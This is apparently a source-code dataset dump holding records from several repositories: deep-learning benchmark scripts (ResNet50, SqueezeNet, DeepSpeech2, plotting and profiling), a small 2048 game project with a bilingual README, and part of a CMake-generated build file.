accumulate data of loss\n losses = []\n for label in labels:\n losses.append(datas[label][2])\n # accumulate data of runtime\n prepareTimes = []\n loopTimes = []\n for label in labels:\n prepareTimes.append(datas[label][1][0])\n loopTimes.append(datas[label][1][1])\n \n # get unit and other description\n unit = datas[labels[0]][0]\n print(unit)\n if (unit == ' 1 epoch'): \n steps = len(losses[0])\n else: \n steps = len(losses[0]) - 1\n temp = unit.split()\n step_desc = str(int(temp[0]) * steps) + \" \" + temp[1] + \"s\"\n \n\n # plot \n plt.figure(1, figsize=(18, 6))\n plt.subplot(121)\n for i in range(len(labels)): \n plt.plot(losses[i], getColor(labels[i]) + '-', linewidth=2.0, label = labels[i])\n plt.legend() \n plt.title(\"training loss over \" + step_desc)\n plt.xlabel('number of ' + unit + 's')\n plt.ylabel('loss')\n #plt.text(60, .025, r'$\\mu=100,\\ \\sigma=15$')\n #plt.axis([40, 160, 0, 0.03])\n #plt.grid(True)\n ax = plt.subplot(122)\n width = 0.5\n space = 0.5\n start = space + 0.25\n bars = []\n for i in range(len(labels)):\n plt.bar([start], [loopTimes[i]], width, bottom=[0], color=getColor(labels[i]))\n # plt.bar([start], [prepareTimes[i]], width, bottom=[loopTimes[i]], color = 'k')\n start = start + width + space\n import matplotlib.patches as mpatches\n black_patch = mpatches.Patch(color='black', label='preparation time')\n mix_patch = mpatches.Patch()\n plt.legend(handles=[black_patch], bbox_to_anchor=(0, 1), loc='upper left', ncol=1)\n plt.title(\"preparation time and iteration time of \" + step_desc)\n plt.ylabel(\"seconds\")\n plt.xticks((np.arange(len(labels)) + 1), labels)\n #plt.show()\n pylab.savefig(save_dir + model + '.png')\n\n\nif __name__ == \"__main__\":\n import sys\n #print(sys.argv)\n model = sys.argv[1] \n n_files = len(sys.argv) - 2\n files = []\n for i in range(n_files):\n files.append(sys.argv[i+2])\n plot(files, model)\n" }, { "alpha_fraction": 0.6475216150283813, "alphanum_fraction": 0.684893786907196, "avg_line_length": 49.84000015258789, "blob_id": "87d6b5a8c65f9886490e3196acc7b55cfec77f81", "content_id": "f68d90ea14350f2e8ce5e66fc2b021d9b1099178", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2542, "license_type": "permissive", "max_line_length": 141, "num_lines": 50, "path": "/src/out/PLDI19evaluation/resnet50/tfrecord_tensorflow/resnet50.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport tensorflow as tf\nfrom tensorflow.contrib.layers import conv2d, avg_pool2d, max_pool2d, fully_connected\nfrom tensorflow.contrib.layers import batch_norm, l2_regularizer\nfrom tensorflow.contrib.framework import add_arg_scope\nfrom tensorflow.contrib.framework import arg_scope\n\ndef conv3x3(inputs, num_outputs, stride = 1):\n return conv2d(inputs, num_outputs, [3, 3], stride=stride, data_format='NCHW', activation_fn=None, biases_initializer=None, scope = '3x3')\n\ndef bottleneck(inputs, planes, stride=1, downsample=None, expansion=4):\n conv1 = conv2d(inputs, planes, [1, 1], data_format='NCHW', normalizer_fn=batch_norm) # relu is default\n conv2 = conv2d(conv1, planes, [3, 3], data_format='NCHW', stride=stride, normalizer_fn=batch_norm)\n conv3 = conv2d(conv2, planes * expansion, [1, 1], data_format='NCHW', normalizer_fn=batch_norm, activation_fn=None)\n if downsample is not None:\n residual = downsample(inputs)\n else:\n residual = inputs\n out = conv3 + residual\n return tf.nn.relu(out)\n\ndef make_layer(inputs, block, planes, blocks, stride = 1, expansion = 4):\n inplanes = int(inputs.shape[1])\n def downsample(x):\n if stride != 1 or inplanes != planes * expansion:\n return conv2d(x, planes * expansion, [1, 1], data_format='NCHW', stride=stride, normalizer_fn=batch_norm, activation_fn=None)\n else:\n return x\n intermediate_step = block(inputs, planes, stride, downsample)\n for i in range(1, blocks):\n intermediate_step = block(intermediate_step, planes)\n return intermediate_step\n\ndef resnet50Cifar10(inputs, num_classes = 10):\n self_inplanes = 64\n conv1 = conv2d(inputs, 64, [3, 3], data_format='NCHW', stride=1, normalizer_fn=batch_norm)\n conv1_net = max_pool2d(conv1, [2, 2], data_format='NCHW', scope='maxpool1')\n conv2_net = make_layer(conv1_net, bottleneck, 64, 3)\n conv3_net = make_layer(conv2_net, bottleneck, 128, 4, stride=2)\n conv4_net = make_layer(conv3_net, bottleneck, 256, 6, stride=2)\n conv5_net = make_layer(conv4_net, bottleneck, 512, 3, stride=2)\n net = avg_pool2d(conv5_net, [2, 2], data_format='NCHW', scope='avgpool10')\n print(\"before reshape, the shape of net is {}\".format(net.shape))\n net = tf.squeeze(net)\n # net = tf.reshape(net, [int(net.shape[0]), 512 * 4])\n net = fully_connected(net, num_outputs=num_classes, activation_fn=None)\n return net\n" }, { "alpha_fraction": 0.5698118805885315, "alphanum_fraction": 0.6242544651031494, "avg_line_length": 33.59788513183594, "blob_id": "1da47d7ddf2591a16de80e5902dd6d32cb453c6a", "content_id": "6d72a8f0c7d024f02ae3c3aa7efc11b55dd054b6", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6539, "license_type": "permissive", "max_line_length": 85, "num_lines": 189, "path": "/src/out/PLDI19evaluation/squeezenet/pytorch/pytorch_squeeze_cifar10.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "import torch\nimport torch.nn as nn\nimport torch.nn.init as weight_init\nimport torch.utils.model_zoo as model_zoo\nimport inputs\nfrom torch.autograd import Variable\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport time\n\n__all__ = ['SqueezeNet', 'squeezenet1_0', 'squeezenet1_1']\n\n\nmodel_urls = {\n 'squeezenet1_0': 'https://download.pytorch.org/models/squeezenet1_0-a815701f.pth',\n 'squeezenet1_1': 'https://download.pytorch.org/models/squeezenet1_1-f364aa15.pth',\n}\n\n\nclass Fire(nn.Module):\n\n def __init__(self, inplanes, squeeze_planes,\n expand1x1_planes, expand3x3_planes):\n super(Fire, self).__init__()\n self.inplanes = inplanes\n self.squeeze = nn.Conv2d(inplanes, squeeze_planes, kernel_size=1)\n self.squeeze_activation = nn.ReLU(inplace=True)\n self.expand1x1 = nn.Conv2d(squeeze_planes, expand1x1_planes,\n kernel_size=1)\n self.expand1x1_activation = nn.ReLU(inplace=True)\n self.expand3x3 = nn.Conv2d(squeeze_planes, expand3x3_planes,\n kernel_size=3, padding=1)\n self.expand3x3_activation = nn.ReLU(inplace=True)\n\n def forward(self, x):\n x = self.squeeze_activation(self.squeeze(x))\n return torch.cat([\n self.expand1x1_activation(self.expand1x1(x)),\n self.expand3x3_activation(self.expand3x3(x))\n ], 1)\n\n\nclass SqueezeNet(nn.Module):\n\n def __init__(self, num_classes=10):\n super(SqueezeNet, self).__init__()\n self.num_classes = num_classes\n self.firstConv = nn.Conv2d(3, 96, kernel_size=3, stride=1, padding=1)\n self.features = nn.Sequential(\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2),\n Fire(96, 16, 64, 64),\n Fire(128, 16, 64, 64),\n Fire(128, 32, 128, 128),\n nn.MaxPool2d(kernel_size=2, stride=2),\n Fire(256, 32, 128, 128),\n Fire(256, 48, 192, 192),\n Fire(384, 48, 192, 192),\n Fire(384, 64, 256, 256),\n nn.MaxPool2d(kernel_size=2, stride=2),\n Fire(512, 64, 256, 256),\n )\n # Final convolution is initialized differently form the rest\n self.final_conv = nn.Conv2d(512, self.num_classes, kernel_size=4)\n # self.classifier = nn.Sequential(\n # # nn.Dropout(p=0.5),\n # final_conv,\n # # nn.ReLU(inplace=True),\n # # nn.AvgPool2d(4, stride=1)\n # )\n\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n if m is self.final_conv:\n weight_init.normal_(m.weight, mean=0.0, std=0.01)\n else:\n weight_init.kaiming_uniform_(m.weight)\n if m.bias is not None:\n weight_init.constant_(m.bias, 0)\n\n def forward(self, x):\n x = self.firstConv(x)\n x = self.features(x)\n x = self.final_conv(x)\n return x.view(x.size(0), self.num_classes)\n\nclass Test(nn.Module):\n def __init__(self, num_classes = 10):\n super(Test, self).__init__()\n self.num_classes = num_classes\n self.features = nn.Sequential(\n nn.Conv2d(3, 96, kernel_size=3, stride=1, padding=1),\n nn.ReLU(inplace=True),\n nn.MaxPool2d(kernel_size=2, stride=2, ceil_mode=True),\n )\n self.fire1_squeeze = nn.Conv2d(96, 16, kernel_size = 1, stride = 1)\n self.squeeze_activation = nn.ReLU(inplace=True)\n self.fire1_expand1 = nn.Conv2d(16, 64, kernel_size = 1, stride = 1)\n self.expand1x1_activation = nn.ReLU(inplace=True)\n self.fire1_expand2 = nn.Conv2d(16, 64, kernel_size = 3, stride = 1, padding = 1)\n self.expand3x3_activation = nn.ReLU(inplace=True)\n # self.fire1 = Fire(96, 16, 64, 64)\n self.fire2 = Fire(128, 16, 64, 64)\n self.fire3 = Fire(128, 32, 128, 128)\n torch.manual_seed(42)\n for m in self.modules():\n if isinstance(m, nn.Conv2d):\n weight_init.kaiming_uniform_(m.weight)\n if m.bias is not None:\n weight_init.constant_(m.bias, 0)\n def forward(self, x):\n printHead(10, x, \"input\")\n x = self.features(x)\n printHead(10, x, \"after conv1\")\n # x = self.fire1(x)\n x = self.squeeze_activation(self.fire1_squeeze(x))\n printHead(10, x, \"after fire1_squeeze\")\n x1 = self.expand1x1_activation(self.fire1_expand1(x))\n printHead(10, x1, \"after fire1_expand1\")\n x2 = self.expand3x3_activation(self.fire1_expand2(x))\n printHead(10, x2, \"after fire1_expand2\")\n x = torch.cat([x1, x2], 1)\n printHead(10, x, \"after fire1\")\n # print(x.max(), x.min(), x.mean(), x.median())\n x = self.fire2(x)\n printHead(10, x, \"after fire2\")\n # print(x.max(), x.min(), x.mean(), x.median())\n x = self.fire3(x)\n printHead(10, x, \"after fire3\")\n # print(x.max(), x.min(), x.mean(), x.median())\n\ndef printHead(n, tensor, name):\n print(name, tensor.shape)\n tensor = tensor.view(tensor.numel())\n smin = float(tensor.min().data)\n smax = float(tensor.max().data)\n if abs(smin) < abs(smax):\n print(\"Max Abs: {0:0.5f}\".format(smax), end = \" || \")\n else:\n print(\"Max Abs: {0:0.5f}\".format(smin), end = \" || \")\n for i in range(n):\n print(\"{0:0.5f}\".format(float(tensor[i].data)), end=\" \")\n print()\n\ndef printHead2(n, tensor, name):\n print(name, tensor.shape)\n tensor = tensor.reshape(-1)\n amax = 0\n for i in range(tensor.shape[0]):\n if abs(tensor[i]) > amax:\n amax = tensor[i]\n print(\"{0:0.5f}\".format(amax), end = \" || \")\n for i in range(n):\n print(\"{0:0.5f}\".format(tensor[i]), end=\" \")\n print(\"\\n\")\n\nif __name__ == '__main__':\n torch.manual_seed(42)\n model = SqueezeNet()\n optimizer = optim.SGD(model.parameters(), lr=0.005, momentum=0)\n batch = inputs.Batch('../cifar10_data/cifar-10-batches-py/data_batch_1', 64)\n\n tloss = 0.0\n for i in range(batch.total_size // batch.batch_size):\n (input_x, input_y) = batch.batch()\n optimizer.zero_grad()\n res = model(Variable(torch.from_numpy(input_x)))\n loss = F.nll_loss(F.log_softmax(res, dim=1), Variable(torch.from_numpy(input_y)))\n tloss += loss.data[0]\n loss.backward()\n optimizer.step()\n if (i + 1) % (batch.total_size // batch.batch_size // 10) == 0:\n print('epoch %d: step %d, training loss %f' % (1, i + 1, tloss / (i)))\n\n exit(0)\n\n (input_x, input_y) = batch.batch()\n # printHead2(10, input_x, \"input\")\n # printHead(10, model.features[0].weight, \"conv1 kernel\")\n res = model(Variable(torch.from_numpy(input_x)))\n # printHead(10, res, \"result\")\n loss = F.nll_loss(F.log_softmax(res, dim=1), Variable(torch.from_numpy(input_y)))\n print(\"loss is {}\".format(loss.data.item() * 64))\n loss.backward()\n # for pp in model.parameters():\n # printHead(10, pp.grad, \"unknown\")\n optimizer.step()\n for pp in model.parameters():\n printHead(10, pp.data, \"unknown\")\n" }, { "alpha_fraction": 0.7108433842658997, "alphanum_fraction": 0.7168674468994141, "avg_line_length": 26.66666603088379, "blob_id": "17a296635c12e2d0f455ae8f208d024663d78c26", "content_id": "ff3d99ccdd31ce2c38a95d5dcd4321b99d6b39ca", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 332, "license_type": "permissive", "max_line_length": 108, "num_lines": 12, "path": "/scripts/download_squeezenet.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "#!/usr/bin/env bash\n\nDIR=$HOME/onnx_models/squeezenet\n\nif [[ ! -d $DIR ]]\nthen\n\tmkdir -p $HOME/tmp\n\tmkdir -p $HOME/onnx_models\n\twget https://s3.amazonaws.com/download.onnx/models/opset_9/squeezenet.tar.gz -O $HOME/tmp/squeezenet.tar.gz\n\ttar xzf $HOME/tmp/squeezenet.tar.gz -C $HOME/onnx_models\n\trm -f $HOME/tmp/squeezenet.tar.gz\nfi\n" }, { "alpha_fraction": 0.6277108192443848, "alphanum_fraction": 0.6536144614219666, "avg_line_length": 43.46428680419922, "blob_id": "ceb26ed80f46f93caf42f6ab20a70d7680753041", "content_id": "18457015adc71af0180860dda07be5d212fc3aef", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4980, "license_type": "permissive", "max_line_length": 173, "num_lines": 112, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/train.py", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport argparse\nimport user_defined_input\nimport model\nimport time\nimport tensorflow as tf\nimport statistics\nimport numpy as np\n\ndef train(args):\n print(\"run tensorflow deepspeech2\")\n startTime = time.time()\n\n freq_size = 161\n batch_size = 32\n sample_rate = 16000\n window_size = 0.02\n rnn_hidden_size = 1024\n num_batches = 200\n x = tf.placeholder(tf.float32, shape=(batch_size, 1, freq_size, None), name=\"sequence_input\")\n y = tf.sparse.placeholder(tf.int32, name=\"labels\")\n percent = tf.placeholder(tf.float64, shape=(batch_size), name=\"percent_length\")\n rawLength = tf.placeholder(tf.int32, shape=(1), name=\"max_length\")\n\n num_classes = len(args.labels) + 1\n ctc_loss = model.loss(x, sample_rate, window_size, rnn_hidden_size, y, percent, rawLength, num_classes)\n with tf.name_scope('optimizer'):\n train_step = tf.train.GradientDescentOptimizer(args.lr).minimize(ctc_loss)\n\n filename = \"/scratch/wu636/Lantern/src/out/PLDI19evaluation/deepspeech2/ds2-pytorch/data/test/deepspeech_train.pickle\"\n batchedData = user_defined_input.Batch(filename)\n\n config = tf.ConfigProto()\n config.graph_options.optimizer_options.global_jit_level = tf.OptimizerOptions.ON_1\n with tf.Session(config=config) as sess:\n sess.run(tf.global_variables_initializer())\n sess.run(tf.local_variables_initializer())\n loopStart = time.time()\n loss_save = []\n time_save = []\n for epoch in range(args.epochs):\n train_accuracy = 0.0\n start = time.time()\n for i in range(num_batches):\n inputs, targets, input_percentages, raw_length, target_sizes = batchedData.batchWithRawLength()\n # Need to process targets and target_size into SparseMatrix (i.e. indices, values, shape)\n values = targets\n ind = []\n for i_batch in range(batch_size):\n for d_batch in range(target_sizes[i_batch]):\n ind.append([i_batch, d_batch])\n indices = np.array(ind, dtype=np.int64)\n shape = np.array([batch_size, np.max(target_sizes)], dtype=np.int64)\n # indices = np.array([[3, 2, 0], [4, 5, 1]], dtype=np.int64)\n # values = np.array([1.0, 2.0], dtype=np.float32)\n # shape = np.array([7, 9, 2], dtype=np.int64)\n _, loss = sess.run([train_step, ctc_loss], feed_dict={x: inputs, y: tf.SparseTensorValue(indices, values, shape), percent: input_percentages, rawLength: raw_length})\n train_accuracy += loss\n if (i + 1) % (20) == 0:\n print('epoch %d: step %d, training loss %f' % (epoch + 1, i + 1, train_accuracy / (i * 100)))\n stop = time.time()\n time_save.append(stop - start)\n average_loss = train_accuracy / (60000 / args.batch_size)\n print('Training completed in {}ms ({}ms/image), with average loss {}'.format((stop - start), (stop - start)/60000, average_loss))\n loss_save.append(average_loss)\n\n loopEnd = time.time()\n prepareTime = loopStart - startTime\n loopTime = loopEnd - loopStart\n timePerEpoch = loopTime / args.epochs\n\n time_save.sort()\n median_time = time_save[int (args.epochs / 2)]\n\n with open(args.write_to, \"w\") as f:\n f.write(\"unit: \" + \"1 epoch\\n\")\n for loss in loss_save:\n f.write(str(loss) + \"\\n\")\n f.write(\"run time: \" + str(prepareTime) + \" \" + str(median_time) + \"\\n\")\n\nif __name__ == '__main__':\n # Training settings\n parser = argparse.ArgumentParser(description='TensorFlow DeepSpeech2 Example')\n parser.add_argument('--batch-size', type=int, default=32, metavar='N',\n help='input batch size for training (default: 64)')\n parser.add_argument('--test-batch-size', type=int, default=32, metavar='N',\n help='input batch size for testing (default: 1000)')\n parser.add_argument('--epochs', type=int, default=1, metavar='N',\n help='number of epochs to train (default: 4)')\n parser.add_argument('--lr', type=float, default=0.0000005, metavar='LR',\n help='learning rate (default: 0.05)')\n parser.add_argument('--momentum', type=float, default=0.0, metavar='M',\n help='SGD momentum (default: 0.5)')\n parser.add_argument('--seed', type=int, default=42, metavar='S',\n help='random seed (default: 1)')\n parser.add_argument('--input_file', type=str,\n default='../../cifar10_data/cifar-10-batches-py/data_batch_1',\n help='Directory for storing input data')\n parser.add_argument('--write_to', type=str,\n default='result_TensorFlow',\n help='Directory for saving runtime performance')\n parser.add_argument('--batch_norm_decay', type=float, default=0.9)\n parser.add_argument('--weight_decay', type=float, default=0.0,\n help='''L2 regularization factor for convolution layer weights.\n 0.0 indicates no regularization.''')\n parser.add_argument('--labels', type=str, default = \"_'ABCDEFGHIJKLMNOPQRSTUVWXYZ \")\n args = parser.parse_args()\n\n train(args)\n" }, { "alpha_fraction": 0.7334905862808228, "alphanum_fraction": 0.7334905862808228, "avg_line_length": 34.33333206176758, "blob_id": "46a88a8d527e8660b42940a1a1f7c0c8840d0391", "content_id": "876836bc5da77b3e079453ee2588a75a87cbdbef", "detected_licenses": [ "BSD-3-Clause", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 424, "license_type": "permissive", "max_line_length": 66, "num_lines": 12, "path": "/src/out/PLDI19evaluation/deepspeech2/ds2-tensorflow/src/vtune.sh", "repo_name": "supunab/Lantern", "src_encoding": "UTF-8", "text": "source /opt/intel/vtune_amplifier_xe/amplxe-vars.sh\nsource /opt/intel/vtune_amplifier_xe/sep_vars.sh\nsource /opt/intel/advisor/advixe-vars.sh\n\n# amplxe-cl -collect advanced-hotspots -- ./train.sh\namplxe-cl -collect hotspots -- ./train.sh\n\n# amplxe-cl -collect memory-access -- ./train.sh\n\n# amplxe-cl -collect-with runsa -knob event-config=? -- ./train.sh\n# amplxe-cl -collect general-exploration -- ./train.sh\n# amplxe-gui\n" } ]
58
ZimingGuo/2048-Game
https://github.com/ZimingGuo/2048-Game
31b48db477a3b0154924e12e69705413f7b1081b
ab170e3eb60872530ca4b4b7d4f6afc36da10999
40452c4f9e32988cd48ecaa3fb1354caf6a08f97
refs/heads/master
2022-06-17T02:59:41.132471
2020-04-26T03:10:28
2020-04-26T03:10:28
258,925,692
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6246872544288635, "alphanum_fraction": 0.6388657093048096, "avg_line_length": 40.31034469604492, "blob_id": "48796a14a8319a96803a956cf0a40876ac63dd05", "content_id": "ec66aed179bc6deecf3f601e2fc145acdced4a1c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1493, "license_type": "no_license", "max_line_length": 121, "num_lines": 29, "path": "/README.md", "repo_name": "ZimingGuo/2048-Game", "src_encoding": "UTF-8", "text": "#### ่ฟ™ไธชๆ–‡ไปถๆ˜ฏ่ฆ็”จๆฅ่งฃ้‡Š็ณป็ปŸๆžถๆž„็š„(This file is used to explain the system architecture)\n\n##### ๆญฅ้ชค(steps)๏ผš\n 1. bll_edited.py ไธญ็š„ GameCoreController ็ฑปๆ˜ฏๆธธๆˆ็ฎ—ๆณ•็š„ๆ ธๅฟƒ้ƒจๅˆ†\n (GameCoreController class in bll_edited.py is the core algorithm of the game )\n ๅ˜้‡(variable)๏ผš\n ๅˆๅนถๆ•ฐๅญ—ๆ—ถไฝฟ็”จ็š„ไธ€็ปดๅˆ—่กจ\n (one-dimensional list used to merge Numbers)\n ็งปๅŠจๆ•ฐๅญ—ๆ—ถไฝฟ็”จ็š„ไบŒ็ปดๅˆ—่กจ\n (two-dimensional list used to merge Numbers)\n ๆ–นๆณ•(method)๏ผš\n ๅฐ†้›ถๅ…ƒ็ด ็งป่‡ณๆœซๅฐพ(move zero to end)\n ๅˆๅนถ(merge)\n ไธŠ็งปๅŠจ(move up)\n ไธ‹็งปๅŠจ(move down)\n .....\n 2. ๅœจGameCoreController็ฑปไธญ๏ผŒๅฎšไน‰ไบง็”Ÿ้šๆœบๆ•ฐ็š„ๆ–นๆณ•.\n (In the GameCoreController class, define methods to generate random Numbers)\n ้œ€ๆฑ‚:ๅœจ็ฉบ็™ฝ็š„ไฝ็ฝฎไธŠ\n (random numbers need to be generated in a blank space)\n ้šๆœบๆ•ฐๅฏ่ƒฝๆ˜ฏ2(90%),ไนŸๅฏ่ƒฝๆ˜ฏ4(10%).\n (There's a 90 percent chance that the random number is 2, and a 10 percent chance that the random number is 4)\n\n 3. ๅœจGameCoreController็ฑปไธญ๏ผŒๅฎšไน‰ๅˆคๆ–ญๆธธๆˆๆ˜ฏๅฆ็ป“ๆŸ็š„ๆ–นๆณ•.\n (In the GameCoreController class, define method to determine if the game is over)\n 1๏ผ‰ๆ˜ฏๅฆๅ…ทๆœ‰็ฉบไฝ็ฝฎ\n (If there is any blank spaces)\n 2๏ผ‰ๆจชๅ‘็ซ–ๅ‘ๆฒกๆœ‰็›ธๅŒ็š„ๅ…ƒ็ด \n (There is no any same elements in a row or a column) \n" }, { "alpha_fraction": 0.5517241358757019, "alphanum_fraction": 0.5862069129943848, "avg_line_length": 16.399999618530273, "blob_id": "2c7f1d180feb2679742af03f51fa073e50767acb", "content_id": "381c5ea1c0a6cef2c9831dfa87e17f8299882d13", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 182, "license_type": "no_license", "max_line_length": 30, "num_lines": 10, "path": "/main.py", "repo_name": "ZimingGuo/2048-Game", "src_encoding": "UTF-8", "text": "# author: Ziming Guo\n# time: 2020/3/4\n\"\"\"\n ๆธธๆˆๅ…ฅๅฃ(entry of the game)\n\"\"\"\nfrom ui import GameConsoleView\n\nif __name__ == \"__main__\":\n view = GameConsoleView()\n view.main()\n" }, { "alpha_fraction": 0.47999998927116394, "alphanum_fraction": 0.5049999952316284, "avg_line_length": 16.39130401611328, "blob_id": "dd232b78d94c13f89623f9e742a162e3666b1dcb", "content_id": "47b95a4485c66e44fe91885f00a7c03b1b94443f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 474, "license_type": "no_license", "max_line_length": 74, "num_lines": 23, "path": "/model.py", "repo_name": "ZimingGuo/2048-Game", "src_encoding": "UTF-8", "text": "# author: Ziming Guo\n# time: 2020/3/4\n\nclass DirectionModel:\n \"\"\"\n ๆ–นๅ‘ๆ•ฐๆฎๆจกๅž‹\n ๆžšไธพ ๅธธ้‡(ๅ‘ฝๅๅ…จ้ƒจๅคงๅ†™)\n \"\"\"\n # ๅœจๆ•ดๆ•ฐๅŸบ็ก€ไธŠ๏ผŒๆทปๅŠ ไธ€ไธชไบบๅฎนๆ˜“่ฏ†ๅˆซ็š„\"ๆ ‡็ญพ\"\n # (On the basis of integers, add a tag that one can easily recognize.)\n UP = 0\n DOWN = 1\n LEFT = 2\n RIGHT = 3\n\n\nclass Location:\n \"\"\"\n ไฝ็ฝฎ(position)\n \"\"\"\n def __init__(self, i, m):\n self.i_index = i\n self.m_index = m\n" } ]
3
Almira1601/OptimizationProblem
https://github.com/Almira1601/OptimizationProblem
bfd3518b4996d5bd867f8173aa6bff00ff71f8a6
ab93d60e827674b2df0eb64245f0728c283ed213
33d556d5791f099fdf110c382f6cb739a1edaec2
refs/heads/master
2020-03-15T18:43:36.768387
2018-07-01T21:24:27
2018-07-01T21:24:27
132,291,069
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7517522573471069, "alphanum_fraction": 0.7840080261230469, "avg_line_length": 62.2669677734375, "blob_id": "6f86372d9b4d9283a53747c8cb52a0b67e50ab93", "content_id": "284f129d57f2c2b22064fc0ab707b865f0007786", "detected_licenses": [ "BSL-1.0" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 13982, "license_type": "permissive", "max_line_length": 105, "num_lines": 221, "path": "/20180701/NetworkSimplexMethod/lemon-1.3.1/build/CMakeFiles/Makefile.cmake", "repo_name": "Almira1601/OptimizationProblem", "src_encoding": "UTF-8", "text": "# CMAKE generated file: DO NOT EDIT!\n# Generated by \"Unix Makefiles\" Generator, CMake Version 3.11\n\n# The generator used is:\nset(CMAKE_DEPENDS_GENERATOR \"Unix Makefiles\")\n\n# The top level Makefile was generated from the following files:\nset(CMAKE_MAKEFILE_DEPENDS\n \"CMakeCache.txt\"\n \"../CMakeLists.txt\"\n \"CMakeFiles/3.11.1/CMakeCCompiler.cmake\"\n \"CMakeFiles/3.11.1/CMakeCXXCompiler.cmake\"\n \"CMakeFiles/3.11.1/CMakeSystem.cmake\"\n \"CMakeFiles/CheckTypeSize/LONG_LONG.c\"\n \"CMakeFiles/feature_tests.c\"\n \"CMakeFiles/feature_tests.cxx\"\n \"../cmake/FindCOIN.cmake\"\n \"../cmake/FindGLPK.cmake\"\n \"../cmake/FindGhostscript.cmake\"\n \"../cmake/FindILOG.cmake\"\n \"../cmake/FindSOPLEX.cmake\"\n \"../cmake/LEMONConfig.cmake.in\"\n \"../cmake/version.cmake\"\n \"../cmake/version.cmake.in\"\n \"../contrib/CMakeLists.txt\"\n \"../demo/CMakeLists.txt\"\n \"../doc/CMakeLists.txt\"\n \"../doc/Doxyfile.in\"\n \"../doc/mainpage.dox.in\"\n \"../lemon/CMakeLists.txt\"\n \"../lemon/config.h.in\"\n \"../lemon/lemon.pc.in\"\n \"../test/CMakeLists.txt\"\n \"../tools/CMakeLists.txt\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCCompiler.cmake.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCCompilerABI.c\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCInformation.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCXXCompiler.cmake.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCXXCompilerABI.cpp\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCXXInformation.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCommonLanguageInclude.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeCompilerIdDetection.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeConfigurableFile.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCXXCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCompileFeatures.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCompilerABI.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineCompilerId.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeDetermineSystem.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeFindBinUtils.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeGenericSystem.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeInitializeConfigs.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeLanguageInformation.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeParseImplicitLinkInfo.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeSystem.cmake.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeSystemSpecificInformation.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeSystemSpecificInitialize.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeTestCCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeTestCXXCompiler.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeTestCompilerCommon.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CMakeUnixFindMake.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CPack.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CPackComponent.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckIncludeFile.c.in\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckIncludeFile.cmake\"\n \"/usr/local/Cellar/cmake/3.11.1/share/cmake/Modules/CheckIncludeFileCXX.cmake\"\n 